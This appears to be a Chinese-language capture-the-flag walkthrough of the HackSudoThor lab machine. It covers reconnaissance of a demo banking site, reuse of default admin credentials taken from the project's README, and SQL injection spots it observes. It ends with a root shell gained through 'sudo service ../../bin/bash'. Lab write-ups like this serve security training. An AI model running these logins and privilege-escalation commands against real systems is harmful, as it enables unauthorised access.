信息收集
让我们访问一下 http://192.168.56.121:80/
http://192.168.56.121/home.php
登录页面,目前没有足够信息,这个系统大致是银行管理系统http://192.168.56.121/news.php
其中部分是银行的新闻或消息http://192.168.56.121/contact.php
其中的信息可以收集,或许后面可以做为字典素材http://192.168.56.121/contact.php#about
看不到
以上内容进行源码解读
http://192.168.56.121/home.php
有两段 JavaScript 代码function respFunc() {
var x = document.getElementById("theTopNav");
console.log(x); if (x.className === "topnav") {
x.className += " responsive";
return 0;
} if (x.className === "topnav navbar-fixed") {
x.className += " responsive";
return 0;
} if (x.className === "topnav responsive") {
x.className = "topnav";
return 0;
} if (x.className === "topnav navbar-fixed responsive" || x.className === "topnav responsive navbar-fixed") {
x.className = "topnav navbar-fixed";
return 0;
}
} // Function below is jquery-3 function used for making the navbar sticky
$(document).ready(function() {
$(window).scroll(function () {
if ($(window).scrollTop() > 120) {
$("#theTopNav").addClass('navbar-fixed');
}
if ($(window).scrollTop() < 121) {
$("#theTopNav").removeClass('navbar-fixed');
}
});
});
var old_time = 0;
var count = 1;
var eEgg_flag = false; var modal = document.getElementById('eEgg_modal');
var footer = document.getElementById('footer'); function eEgg_func(){
var d = new Date();
var n = d.getTime();
var new_time = Math.ceil(n/1000); if ((new_time - old_time) <= 1) {
count++;
}
else {
count = 1;
}
old_time = new_time; if (count > 7 && !eEgg_flag) {
modal.style.display = "block";
eEgg_flag = true; // Timeout
setTimeout(function () {
modal.style.display = "none";
}, 21000); //Timeout text display in the footer
var now = new Date().getTime();
var countDownDate = now + 21000; setInterval(function() {
// Get todays date and time
var now = new Date().getTime(); // Find the distance between now an the count down date
var distance = countDownDate - now; // Time calculations for seconds
var seconds = Math.floor((distance % (1000 * 60)) / 1000); // Display the result in the element with id="demo"
document.getElementById("footer").innerHTML =
"Going back in "+ seconds + "s...";
}, 1000);
}
}
- 对登录界面内容做简单校验的
http://192.168.56.121/news.php
中有段注释,此页面可以运用了 cgi 技术<!-- cgi-bin ---!>
- CGI 是Web 服务器运行时外部程序的规范,按 CGI 编写的程序可以扩展服务器功能
- CGI 应用程序能与浏览器进行交互,还可通过数据库API 与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据
- 应该存在一个
cgi-bin
目录用于存放相关脚本
其他的没有什么意义,下一步我们继续目录爆破 dirsearch -u http://192.168.56.121/

# Online Banking System
A web based banking system with all essential features and security accompanied by a beautiful and simple website. The website is designed in accordance with google material design and resposive web design guidelines to ensure a seamless experience between devices.
A fictional name of "Dolphin Bank" has been used only for representative purposes.
## Built with
<b>HTML5, CSS, JavaScript</b> & <b>jQuery</b> used for front-end design.
<b>PHP7 & MySQL</b> used for back-end design.
<b>Oracle MySQL</b> has been used to create and host the database for the
internet banking website.
Other than the languages/tools mentioned above <b>no</b> other/external
libraries and/or web-page templates have been used, everything has been
coded from ground-up straight from scratch.
## How to build/use
Setup an environment which supports web development like <b>LAMP</b> on <b>Linux</b> systems OR install <b>WampServer/XAMPP</b> or anything similar on <b>Windows</b>.
Copy the folder [net-banking](https://github.com/zakee94/online-banking-system/tree/master/net-banking) or the files in it to the location of the localhost. For example "/var/www/html", the loaction of localhost in Ubuntu.
Import the [net_banking.sql](https://github.com/zakee94/online-banking-system/blob/master/net_banking.sql) database into your MySQL setup.
Edit the file [connect.php](https://github.com/zakee94/online-banking-system/blob/master/net-banking/connect.php) and give proper username and password of your MySQL setup.
Open a browser and test wether the setup works or not by visiting the home page. Type "localhost/home.php" as the URL in the browser to visit the home page.
All the passwords and the usernames of both the admin and the customer can be found in the database i.e. in the file [net_banking.sql](https://github.com/zakee94/online-banking-system/blob/master/net_banking.sql).
However some important usernames and passwords are provided below :
* Username of admin is "admin" & password is "password123".
* Username of most of the customers is their "first_name" & password is their "first_name" followed by "123".
Some useful links to help in proper setup :
* [Installing LAMP](https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-on-ubuntu-14-04)
* [WampServer](http://www.wampserver.com/en/)
* [Importing database in MySQL](https://www.digitalocean.com/community/tutorials/how-to-import-and-export-databases-and-reset-a-root-password-in-mysql)
## Details about the project
An exhaustive list of features, documentation, design hierarchy, details about the web pages, database, design characterstics/features and a lot more can be found [here](https://drive.google.com/open?id=1Px2shjcmyLUv7-u5wp93HvKT_zvw-Pmk).
The ER Diagram can also be found on the link given above or can be viewed [here](https://drive.google.com/open?id=1Tn2fBR9IjLP8dlv6svrc4aEvryrYcI3G).
## Description of the various folders
- <b>/net-banking :</b> Contains the source code of the website
- <b>/net-banking/images :</b> Contains various images and icon vectors used as resources in the website
- <b>/net-banking/fonts :</b> Contains various fonts(.ttf files) used in the website

## Authors

使用技术 HTML5、CSS、JavaScript、jQuery、PHP7、MySQL、Oracle MySQL
部分默认配置,其中密码和账号特点,还有

这个重要文件存在All the passwords and the usernames of both the admin and the customer can be found in the database i.e. in the file [net_banking.sql]
However some important usernames and passwords are provided below :
* Username of admin is "admin" & password is "password123".
* Username of most of the customers is their "first_name" & password is their "first_name" followed by "123".

更佳凶残和激进的策略是对
https://github.com/zakee94/online-banking-system
中的项目进行解读
从中提取的重要文件
- net-banking 目录
- net_banking.sql 数据库到 MySQL 设置中,管理员和客户的所有密码和用户名都可以在数据库中找到
- connect.php
- 账号密码信息
admin
password123
尝试账号和密码
/admin_login.php
/home.php
其中在 /admin_login.php
成功登录,并且在登录后
http://192.168.56.121/customer_add.php
存在明显 sql 注入漏洞http://192.168.56.121/manage_customers.php
直接四个账号信息,也有明显 sql 注入漏洞- 结合
https://github.com/zakee94/online-banking-system/blob/master/net_banking.sql
中 sql 格式攻击更佳,但目前不需要我们已经是管理员,下面就是片段net_banking.sql
内容与四个账号信息对应,已经控制金额转账

User www-data may run the following commands on HackSudoThor:
(thor) NOPASSWD: /home/thor/./hammer.sh
- 我们可以无条件执行
/home/thor/./hammer.sh

thor@HacksudoThor:/usr/lib/cgi-bin$
- 直接看到 root 密码的加密,我们可以进行破解,但效率比较低
其实 /usr/sbin/service
这个才是致命的,我们使用 sudo service ../../bin/bash
thor@HacksudoThor:/usr/lib/cgi-bin$ sudo service ../../bin/bash
sudo service ../../bin/bash
bash-4.3# id
id
uid=0(root) gid=0(root) groups=0(root)
到此,便结束了 GAME OVER
